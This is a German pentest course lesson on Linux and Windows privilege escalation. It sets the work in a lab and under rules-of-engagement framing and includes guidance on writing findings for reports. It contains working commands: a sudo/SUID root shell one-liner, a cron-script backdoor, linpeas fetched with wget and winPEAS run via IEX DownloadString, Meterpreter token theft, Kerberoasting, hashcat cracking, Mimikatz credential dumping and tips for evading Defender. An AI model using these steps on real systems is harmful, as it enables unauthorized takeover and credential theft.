Zum Hauptinhalt springen

Rechteausweitung — Grundlagen

Sie haben einen Zugriff. Gut. Aber ein user-Konto ist nicht dasselbe wert wie ein root-, SYSTEM- oder Domänenadministrator-Konto. Diese Woche geht es darum, von „Ich habe eine Shell" zu „Ich bin Herr über die Maschine" zu wechseln. Ohne das ist der Rest des Pentests reines Theater.

Rahmen

Rechteausweitung wird auf den VMs des Labs praktiziert (Metasploitable 2/3, HackTheBox retired boxes, VulnHub), oder im Auftrag unter RoE. Ein mimikatz auf einem Rechner, den Sie nicht anfassen dürfen, ist in mehreren Ländern eine Straftat.

Was Sie nach dieser Lektion können​

  • linpeas und winpeas nutzen, ohne in ihrer Ausgabe zu ertrinken.
  • Fünf klassische Linux-Pfade erkennen: sudo, SUID, Cron, Capabilities, Kernel-Exploits.
  • Vier klassische Windows-Pfade erkennen: falsch ACL-eingestellte Dienste, DLL-Hijacking, zu stehlende Tokens, Kerberoasting.
  • Hashes offline mit hashcat knacken (Formate NTLM, sha512crypt, kerberos-tgs).
  • Mimikatz sauber einsetzen und verstehen, warum es ebenso Angst macht wie Freude bereitet.
  • Einen Eskalationsbefund schreiben, der im Bericht Wert hat.

1. Die gemeinsame Logik​

Rechteausweitung folgt drei systematischen Fragen:

  1. „Wozu bin ich mit diesem Konto berechtigt?" — id, whoami, sudo -l, whoami /priv.
  2. „Was tut das System als privilegierte Instanz, das ich beeinflussen kann?" — root-Cron, geplante SYSTEM-Aufgabe, ein Dienst, der eine DLL lädt.
  3. „Was liegt im Speicher, darf ich es anfassen?" — LSASS unter Windows, /proc/*/environ unter Linux, Anwendungsgeheimnisse.

Diese drei Fragen, in Schleife, für jedes Ziel. Der Rest ist Handwerk.


2. Linux — die fünf klassischen Pfade​

2.1. sudo -l — die weit offene Tür​

sudo -l

Typische Ausgabe:

User bob may run the following commands on this host:
(root) NOPASSWD: /usr/bin/vim

Das ist eine sofortige Eskalation. sudo vim als root, dann in vim:

:!bash

Eine root-Shell. Fertig. Jeder interaktive Befehl, der shell-out kann, hat denselben Effekt: less, more, awk, find, nmap (alt), perl, python, ruby.

Referenz, die man kennen muss: GTFOBins. Eine Datenbank von Binärdateien, die bei falscher Konfiguration in sudo eine root-Shell öffnen.

2.2. Falsch gesetzte SUID-Bits​

Das SUID-Bit (s statt x) bewirkt, dass eine Datei mit den Rechten ihres Eigentümers ausgeführt wird — oft root.

find / -perm -4000 -type f 2>/dev/null

Klassische Ausgabe (Metasploitable 2):

/usr/bin/nmap
/usr/bin/python
/usr/bin/rlogin
/bin/mount
/bin/su

Ein altes nmap mit SUID root akzeptiert einen interaktiven Modus, der shell-out macht. python mit SUID root ist eine root-Shell in einer Zeile:

/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'

GTFOBins listet die Tricks für jede Binärdatei auf. Nachschlagen, bevor man selbst erfindet.

2.3. Cron mit relativen Pfaden​

cat /etc/crontab
ls -la /etc/cron.d/

Mögliche Ausgabe:

* * * * *   root   backup.sh

Wenn backup.sh sich in einem $PATH-Ordner befindet, den Sie ändern können — oder wenn /etc/crontab backup.sh ohne absoluten Pfad auflistet — legen Sie Ihr präpariertes backup.sh ab und warten die nächste Minute ab.

Variante mit absolutem Pfad, aber beschreibbarem Skript:

ls -la /opt/backup/run.sh
-rwxrwxr-x root root run.sh

Schreibrecht für die Gruppe = Volltreffer. Fügen Sie hinzu:

echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" >> /opt/backup/run.sh

Eine Minute später:

/tmp/rootbash -p
whoami
# root

2.4. Capabilities​

Die File Capabilities von Linux (man 7 capabilities) gewähren fein abgestufte Rechte. Manche sind gefährlich:

getcap -r / 2>/dev/null

Beispielausgabe:

/usr/bin/python3.10 = cap_setuid+ep

cap_setuid auf Python bedeutet: Python kann setuid(0) aufrufen, ohne anfangs root zu sein. Eskalationspfad:

python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Weitere offensive Capabilities: cap_dac_read_search (alles lesen, auch /etc/shadow), cap_sys_admin (so gut wie alles).

2.5. Kernel-Exploits​

Wenn alles andere scheitert, der Kernel. Version prüfen:

uname -a
cat /etc/os-release

Dann suchen:

searchsploit "linux kernel <version>"

Auf einem Kernel 2.6.24 wie bei Metasploitable 2 gibt es reihenweise Exploits (Dirty Cow, sock_diag_handlers, perf_swevent). Auf einem aktuellen Kernel ist es umgekehrt — Kernel-Exploits sind teuer und selten.

Achtung: Ein Kernel-Exploit legt das System in einem von fünf Fällen lahm. Beim Kundenpentest niemals ohne ausdrückliche Genehmigung durch das RoE, niemals tagsüber.

2.6. LinPEAS — das Inventarisierungswerkzeug​

linpeas.sh scannt die oben genannten Punkte und viele weitere. Ergebnis in 3–5 Minuten.

# Von Kali aus bereitstellen
python3 -m http.server 8000

# Auf dem Ziel
wget http://10.10.10.5:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh -a | tee /tmp/linpeas.out

Schlüsselzeile in der Ausgabe:

[+] Interesting files/paths owned by me
[+] Files with SUID bit
[+] Sudo version
[+] Kernel exploits (linux-exploit-suggester)

LinPEAS listet auf, es bewertet nicht. Ein [+] SUID: /usr/bin/passwd ist ein falsches Positiv — es ist normal, dass passwd SUID ist. Sie filtern von Hand.


3. Windows — die vier klassischen Pfade​

3.1. Falsch ACL-eingestellte Dienste​

# In PowerShell auf dem Ziel
Get-Service | Where-Object {$_.StartType -eq 'Automatic'}

# Für jeden Dienst die ACLs der Binärdatei prüfen
$svcs = Get-CimInstance Win32_Service
foreach ($s in $svcs) {
$path = $s.PathName -replace '"' -replace ' .*'
if (Test-Path $path) {
(Get-Acl $path).Access | Where-Object { $_.IdentityReference -match "Everyone|Users|Authenticated" }
}
}

Wenn ein Dienst, der als LocalSystem läuft, eine Binärdatei hat, die von Users veränderbar ist, ersetzen Sie die Binärdatei durch Ihre Payload, starten den Dienst neu, und SYSTEM fällt.

3.2. DLL-Hijacking​

Eine ausführbare Datei lädt eine DLL nach Namen (kernel32.dll, mydll.dll) ohne absoluten Pfad. Windows sucht in dieser Reihenfolge: Ordner der ausführbaren Datei, System32, SysWOW64, PATH.

Wenn einer der Suchordner von Ihnen beschreibbar ist und die Anwendung als Administrator läuft, legen Sie eine präparierte mydll.dll ab und warten.

Erkennung mit procmon: filtern Sie nach NAME NOT FOUND + .dll, während die Anwendung startet.

3.3. Zu stehlende Tokens​

Unter Windows ist beim Anmelden eines Administrators (auch per RDP) sein Zugriffstoken im Speicher vorhanden. Ein SYSTEM-Prozess kann dieses Token impersonate und zu diesem Administrator werden.

Aus Meterpreter:

meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "ACME\admin"
meterpreter > getuid
Server username: ACME\admin

Sie sind Domänenadministrator, ohne je dessen Passwort gesehen zu haben.

3.4. Kerberoasting​

In einem Active Directory hat jedes Dienstkonto (svc_sql, svc_backup) einen Service Principal Name (SPN). Jeder authentifizierte Benutzer kann ein Kerberos-Ticket (TGS) anfordern, das mit dem Passwort-Hash des Kontos verschlüsselt ist. Dieses Ticket kann offline geknackt werden.

# Von Kali aus, mit Impacket
impacket-GetUserSPNs -request -dc-ip 192.168.100.10 acme.local/user:password

Ausgabe: Tickets, bereit zum Knacken mit hashcat -m 13100. Dienstkonten haben oft ein schwaches Passwort (vor 10 Jahren gesetzt, nie geändert).

Das ist der Angriff Nr. 1 auf AD im Jahr 2026. Der durchschnittliche CISO kennt ihn nicht.

3.5. WinPEAS​

Windows-Äquivalent von LinPEAS. Auf dem Ziel:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.5:8000/winPEAS.ps1')

Typische Ausgabe: Zehntausende Zeilen. Filtern:

  • [+] AlwaysInstallElevated — seltener, aber explosiver Volltreffer (msi-Installationen als SYSTEM durch jeden Benutzer).
  • [+] Unquoted Service Path — Dienste mit nicht in Anführungszeichen gesetztem Pfad und Leerzeichen.
  • [+] Modifiable Registry — Dienste, deren Konfiguration überschrieben werden kann.
  • [+] Autologon credentials — Klartext-Passwörter in der Registry.
  • Ergebnisse Potentially exploitable — einzeln zu validieren.

4. Hashes offline knacken​

Der Hauptvorteil des Offline-Knackens: Das Ziel bemerkt nichts. Kein Konto wird gesperrt.

4.1. Die Formate, die man kennen muss​

FormatHerkunftHashcat-ModusGeschwindigkeit RTX 4090
NTLMlokale Windows-Konten, Hashdump-m 1000~200 GH/s
NetNTLMv2Responder/Relay-m 5600~3 GH/s
Kerberos TGS-REPKerberoasting-m 13100~1 GH/s
AS-REPAS-REP Roasting-m 18200~1 GH/s
sha512cryptmoderne Linux /etc/shadow-m 1800~130 KH/s
bcryptWebanwendungen-m 3200~200 KH/s
MySQLv5+-m 300~200 GH/s

Größenordnung: NTLM = sehr schnell, bcrypt/sha512crypt = sehr langsam (per Design).

4.2. Klassische Angriffe​

Reines Wörterbuch:

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

Wörterbuch + Regeln (Variationen: Großbuchstabe, Ziffer am Ende, l33t):

hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

Maske — wenn Sie eine Richtlinie vermuten:

# 8 Zeichen, Großbuchstabe am Anfang, Ziffern am Ende
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d?d?d

Kombinierter Angriff:

# Zwei Wörterbücher als Kreuzprodukt
hashcat -m 1000 hashes.txt -a 1 wl1.txt wl2.txt

4.3. Die Regeln, die man kennen muss​

  • best64.rule — 64 allgemeine Regeln. Guter Kompromiss.
  • OneRuleToRuleThemAll.rule — 52k Regeln. Langsam, aber sehr effektiv.
  • dive.rule — massiv, sehr rechenintensiv.

Für Unternehmensrichtlinien schreibt man eigene Regeln: Sommer2025! = Basis Sommer + 2025 + ! = reproduzierbares Muster.


5. Mimikatz — das Werkzeug, das Windows verändert hat​

Geschrieben von Benjamin Delpy im Jahr 2011, es zeigte, dass Windows Passwörter im Klartext im Speicher (LSASS) hielt. Microsoft brauchte 5 Jahre, um zu reagieren. Mimikatz bleibt das Referenzwerkzeug für die Extraktion von Windows-Anmeldedaten.

Was Mimikatz kann:

  • sekurlsa::logonpasswords — extrahiert alle Passwörter aktiver Sitzungen.
  • sekurlsa::tickets — extrahiert Kerberos-Tickets im Speicher.
  • lsadump::sam — dumpt die lokale SAM (wie hashdump).
  • lsadump::dcsync — gibt sich als Domänencontroller aus und fordert die Replikation eines Kontos an (einschließlich des krbtgt-Hashs = Golden Ticket).
  • sekurlsa::pth — Pass-the-Hash (Authentifizierung mit NTLM ohne Passwort).
  • kerberos::golden — fälscht ein Golden Ticket (dauerhafter Zugriff auf ein AD).

Technisch liest es LSASS.exe (den Prozess, der die Authentifizierungen verwaltet) über die Windows-APIs aus.

Erkennung: Defender kennt es auswendig, es wird sofort blockiert. Man umgeht das mit:

  • eigens kompilierter Version (Neukompilierung mit geänderten Strings).
  • Laden im Speicher über Invoke-Mimikatz (PowerShell).
  • modernem Ersatz: Rubeus (Kerberoasting, Ticket-Manipulation in C#), SharpHound (BloodHound-Kollektor).

Ethischer Rahmen: Mimikatz auf einer Lab-VM, ja. Mimikatz in einer Kundenproduktion, nur wenn das RoE es ausdrücklich erlaubt. Das Werkzeug ist das eines Angreifers, es löst alle Alarme aus.


6. BloodHound — die Landkarte der Domäne​

BloodHound extrahiert keine Anmeldedaten, es kartiert die Beziehungen in einem Active Directory:

  • Wer ist Administrator wovon.
  • Welche Konten können sich per RDP auf welche Maschinen verbinden.
  • Welche Gruppen enthalten welche Benutzer.
  • Welche GPOs gelten wo.

Diese Karte zeigt Angriffspfade, die niemand von Hand sieht. Beispiel: „Benutzer Bob (Standardkonto) → Mitglied der Gruppe Marketing → die Gruppe Marketing kann die GPOs des Servers SRV-01 ändern → SRV-01 ist Domänenadministrator."

Kollektor: SharpHound.exe -c All.

Oberfläche: Neo4j + BloodHound-GUI. Vorgefertigte Abfragen: „Find Shortest Paths to Domain Admins from Owned".

2026 ist ein AD-Pentester ohne BloodHound ein unvollständiger Pentester.


7. Der Eskalationsbefund — was der Bericht enthalten muss​

Jede gefundene Eskalation = eine Karteikarte:

## Eskalation — <kurzer Titel>

- Ausgangskonto: <user>
- Endkonto: <root / SYSTEM / Domänenadministrator>
- Pfad (nummeriert):
1. Entdeckung: ...
2. Ausnutzung: ...
3. Bestätigung: ...
- Ausgeführte Befehle (Kasten):
```
sudo -l
sudo vim -c ':!bash'
```
- Geschäftliche Auswirkung: Lesen von X, Kontrolle über Y, mögliche Persistenz.
- Empfehlung: Entfernen der sudoers-Zeile oder Umstieg auf ein dediziertes Konto.

Ein Bericht mit 15 „gefundenen Eskalationen" ohne diese Karteikarten ist null wert.


8. Die zu vermeidenden Fehler​

  • LinPEAS abfeuern und nichts filtern. Der Kunde sieht 400 Zeilen Rauschen und fragt sich, was wirklich kritisch ist.
  • Einen Kernel-Exploit ohne Genehmigung einsetzen. Sie legen die Produktion lahm, der Auftrag endet dort.
  • Einen Hash knacken und ihn live auf dem Portal verwenden, statt intern zu bleiben. Sie erzeugen überall Logs.
  • Das Aufräumen vergessen. Sie haben für die Demo ein /tmp/rootbash mit SUID abgelegt — denken Sie daran, es vor dem Verlassen zu entfernen.
  • GTFOBins nicht nachschlagen. Sie erfinden eine komplizierte Ausnutzung für ein SUID-find, während GTFOBins die genaue Zeile liefert.

9. Was man sich merken sollte​

  • Drei Fragen in Schleife: meine Rechte, was das System für mich tut, was im Speicher liegt.
  • Linux: sudo -l, SUID, Cron, Capabilities, Kernel. In dieser Prioritätsreihenfolge.
  • Windows: falsch ACL-eingestellte Dienste, DLL-Hijacking, Tokens, Kerberoasting.
  • Hashcat ist Ihr Freund. Kennen Sie die 5 wichtigsten Modi auswendig.
  • Mimikatz ist mächtig, laut. 2026 bevorzugen Sie Rubeus + BloodHound.
  • Ein Eskalationsbericht = nummerierte Karteikarten mit Auswirkung und Abhilfe.

Nächste Lektion: Wir fällen fünf Eskalationen (Linux + Windows), kartieren ein AD mit BloodHound, erzwingen ein Kerberoast.